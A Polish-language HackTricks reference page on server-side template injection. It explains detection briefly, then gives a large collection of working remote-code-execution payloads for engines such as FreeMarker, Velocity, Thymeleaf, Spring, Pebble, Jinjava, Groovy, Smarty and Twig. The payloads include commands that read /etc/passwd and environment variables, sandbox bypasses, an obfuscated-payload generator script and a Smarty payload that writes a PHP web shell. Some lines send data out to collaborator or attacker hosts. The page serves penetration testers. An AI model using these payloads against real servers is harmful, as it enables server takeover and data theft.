SSTI (Server Side Template Injection)

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

RootedCON to najważniejsze wydarzenie z zakresu cyberbezpieczeństwa w Hiszpanii i jedno z najważniejszych w Europie. Mając misję promowania wiedzy technicznej, ten kongres stanowi gorący punkt spotkań dla profesjonalistów technologii i cyberbezpieczeństwa we wszystkich dziedzinach.

Czym jest SSTI (Server-Side Template Injection)

Wstrzyknięcie szablonu po stronie serwera (SSTI) to podatność, która występuje, gdy atakujący może wstrzyknąć złośliwy kod do szablonu, który jest wykonywany na serwerze. Ta podatność może być znaleziona w różnych technologiach, w tym w Jinja.

Jinja to popularny silnik szablonów używany w aplikacjach internetowych. Rozważmy przykład demonstrujący podatny fragment kodu z użyciem Jinja:

output = template.render(name=request.args.get('name'))

W tym podatnym kodzie parametr name z żądania użytkownika jest bezpośrednio przekazywany do szablonu za pomocą funkcji render. Może to potencjalnie umożliwić atakującemu wstrzyknięcie złośliwego kodu do parametru name, co prowadzi do wstrzyknięcia szablonu po stronie serwera.

Na przykład, atakujący mógłby stworzyć żądanie z ładunkiem takim jak ten:

http://vulnerable-website.com/?name={{bad-stuff-here}}

Payload {{zły-kod-tutaj}} jest wstrzykiwany do parametru name. Ten payload może zawierać dyrektywy szablonów Jinja, które umożliwiają atakującemu wykonanie nieautoryzowanego kodu lub manipulację silnikiem szablonów, potencjalnie uzyskując kontrolę nad serwerem.

Aby zapobiec podatnościom na wstrzykiwanie szablonów po stronie serwera, programiści powinni upewnić się, że dane wprowadzane przez użytkownika są odpowiednio oczyszczone i zweryfikowane przed wstawieniem ich do szablonów. Wdrożenie walidacji danych wejściowych i użycie technik ucieczki świadomej kontekstu może pomóc zmniejszyć ryzyko tej podatności.

Wykrywanie

Aby wykryć Wstrzykiwanie Szablonów Po Stronie Serwera (SSTI), początkowo fuzzowanie szablonu jest prostym podejściem. Polega to na wstrzyknięciu sekwencji specjalnych znaków (${{<%[%'"}}%\) do szablonu i analizowaniu różnic w odpowiedzi serwera na zwykłe dane w porównaniu z tym specjalnym ładunkiem. Wskaźniki podatności obejmują:

  • Wyrzucane błędy, ujawniające podatność i potencjalnie silnik szablonów.

  • Brak ładunku w odbiciu lub brak jego części, sugerujący, że serwer przetwarza go inaczej niż zwykłe dane.

  • Kontekst w tekście czystym: Odróżnij od XSS, sprawdzając, czy serwer ocenia wyrażenia szablonów (np. {{7*7}}, ${7*7}).

  • Kontekst kodu: Potwierdź podatność, zmieniając parametry wejściowe. Na przykład zmieniając greeting w http://vulnerable-website.com/?greeting=data.username, aby sprawdzić, czy wynik serwera jest dynamiczny czy stały, jak w przypadku greeting=data.username}}hello zwracającego nazwę użytkownika.

Faza Identyfikacji

Identyfikacja silnika szablonów polega na analizie komunikatów o błędach lub ręcznym testowaniu różnych ładunków specyficznych dla języka. Powszechne ładunki powodujące błędy to ${7/0}, {{7/0}} i <%= 7/0 %>. Obserwowanie odpowiedzi serwera na operacje matematyczne pomaga zlokalizować konkretny silnik szablonów.

Narzędzia

wydajne narzędzie do skanowania SSTI + CSTI, które wykorzystuje nowatorskie poligloty

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

interaktywna tabela zawierająca najbardziej wydajne poligloty wstrzykiwania szablonów wraz z oczekiwanymi odpowiedziami 44 najważniejszych silników szablonów.

Exploits

Ogólne

W tej liście słów znajdziesz zmienne zdefiniowane w środowiskach niektórych z poniższych silników:

Java

Java - Podstawowa wstrzykiwania

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - Pobierz zmienne środowiskowe systemu

${T(java.lang.System).getenv()}

Java - Pobierz /etc/passwd

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

Możesz wypróbować swoje ładunki na https://try.freemarker.apache.org

  • {{7*7}} = {{7*7}}

  • ${7*7} = 49

  • #{7*7} = 49 -- (legacy)

  • ${7*'7'} Nothing

  • ${foobar}

<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Pomijanie piaskownicy

⚠️ działa tylko w wersjach Freemarker poniżej 2.3.30

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Więcej informacji

Velocity (Java)

// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

Więcej informacji

Thymeleaf

W Thymeleaf, powszechnym testem podatności na SSTI jest wyrażenie ${7*7}, które również dotyczy tego silnika szablonów. Dla potencjalnego wykonania zdalnego kodu, można użyć wyrażeń takich jak:

  • SpringEL:

${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:

${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Thymeleaf wymaga, aby te wyrażenia były umieszczone w określonych atrybutach. Jednak wstawianie wyrażeń jest obsługiwane dla innych lokalizacji szablonów, używając składni takiej jak [[...]] lub [(...)]. W związku z tym, prosty ładunek testowy SSTI może wyglądać jak [[${7*7}]].

Jednak szansa na powodzenie tego ładunku jest zazwyczaj niska. Domyślna konfiguracja Thymeleaf nie obsługuje dynamicznej generacji szablonów; szablony muszą być predefiniowane. Programiści musieliby zaimplementować własny TemplateResolver, aby tworzyć szablony z ciągów tekstowych w locie, co jest rzadkie.

Thymeleaf oferuje również przetwarzanie wyrażeń, gdzie wyrażenia wewnątrz podwójnych podkreśleń (__...__) są przetwarzane wstępnie. Ta funkcja może być wykorzystana przy konstruowaniu wyrażeń, jak pokazano w dokumentacji Thymeleaf:

#{selection.__${sel.code}__}

Przykład podatności w Thymeleaf

Rozważ poniższy fragment kodu, który może być podatny na eksploatację:

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

To wskazuje, że jeśli silnik szablonów nieprawidłowo przetwarza te dane wejściowe, może to prowadzić do zdalnego wykonania kodu uzyskującego dostęp do adresów URL, takich jak:

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

Więcej informacji

pageEL - Expression Language

Framework Spring (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Ominąć filtry

Można użyć wielu wyrażeń zmiennych, jeśli ${...} nie działa, spróbuj #{...}, *{...}, @{...} lub ~{...}.

  • Odczytaj /etc/passwd

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • Niestandardowy skrypt do generowania payloadów

#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

Więcej informacji

Manipulacja widokiem Spring (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
pageEL - Expression Language

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Stara wersja Pebble ( < wersja 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Nowa wersja Pebble:

{% set cmd = 'id' %}





{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

Jinjava to silnik szablonów Java, który umożliwia wykonywanie ataków SSTI poprzez wstrzykiwanie kodu Java w szablony. Aby przeprowadzić atak SSTI za pomocą Jinjava, należy wstrzyknąć odpowiedni kod Java do szablonu, który zostanie następnie wykonany po stronie serwera.

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava to projekt open source opracowany przez Hubspot, dostępny pod adresem https://github.com/HubSpot/jinjava/

Jinjava - Wykonanie poleceń

Naprawiono przez https://github.com/HubSpot/jinjava/pull/230

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Więcej informacji

Hubspot - HuBL (Java)

  • Delimitery instrukcji {% %}

  • Delimitery wyrażeń {{ }}

  • Delimitery komentarzy {# #}

  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206

  • {{'a'.toUpperCase()}} - "A"

  • {{'a'.concat('b')}} - "ab"

  • {{'a'.getClass()}} - java.lang.String

  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest

  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

Wyszukano "com.hubspot.content.hubl.context.TemplateContextRequest" i odkryto projekt Jinjava na Githubie.

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Więcej informacji

Język Wyrażeń - EL (Java)

  • ${"aaaa"} - "aaaa"

  • ${99999+1} - 100000.

  • #{7*7} - 49

  • ${{7*7}} - 49

  • ${{request}}, ${{session}}, {{faceContext}}

Język Wyrażeń (EL) to podstawowa funkcja ułatwiająca interakcję między warstwą prezentacji (taką jak strony internetowe) a logiką aplikacji (taką jak zarządzane beany) w JavaEE. Jest szeroko stosowany w wielu technologiach JavaEE, aby usprawnić tę komunikację. Kluczowe technologie JavaEE wykorzystujące EL to:

  • JavaServer Faces (JSF): Wykorzystuje EL do wiązania komponentów na stronach JSF z odpowiadającymi danymi i akcjami w backendzie.

  • JavaServer Pages (JSP): EL jest używany w JSP do dostępu i manipulacji danymi wewnątrz stron JSP, ułatwiając połączenie elementów strony z danymi aplikacji.

  • Contexts and Dependency Injection for Java EE (CDI): EL integruje się z CDI, umożliwiając płynną interakcję między warstwą internetową a zarządzanymi beanami, zapewniając bardziej spójną strukturę aplikacji.

Sprawdź następującą stronę, aby dowiedzieć się więcej na temat eksploatacji interpreterów EL:

pageEL - Expression Language

Groovy (Java)

Poniższe obejścia menedżera bezpieczeństwa zostały zaczerpnięte z tego opisu.

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

​​RootedCON to najważniejsze wydarzenie z zakresu cyberbezpieczeństwa w Hiszpanii i jedno z najważniejszych w Europie. Mając misję promowania wiedzy technicznej, ten kongres stanowi gorące miejsce spotkań dla profesjonalistów technologii i cyberbezpieczeństwa we wszystkich dziedzinach.

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

Więcej informacji

Twig (PHP)

  • {{7*7}} = 49

  • ${7*7} = ${7*7}

  • {{7*'7'}} = 49

  • {{1/0}} = Error

  • {{foobar}} Nothing

#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - Format szablonu

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

Więcej informacji

Plates (PHP)

Plates to silnik szablonów wbudowany w PHP, czerpiący inspirację z Twig. Jednak w przeciwieństwie do Twig, który wprowadza nową składnię, Plates wykorzystuje natywny kod PHP w szablonach, co czyni go intuicyjnym dla programistów PHP.

Kontroler:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

Szablon strony:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

Szablon układu:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

Więcej informacji

PHPlib i HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB jest taka sama jak PHPlib, ale przeniesiona do Pear.

authors.tpl

<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

autorzy.php

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));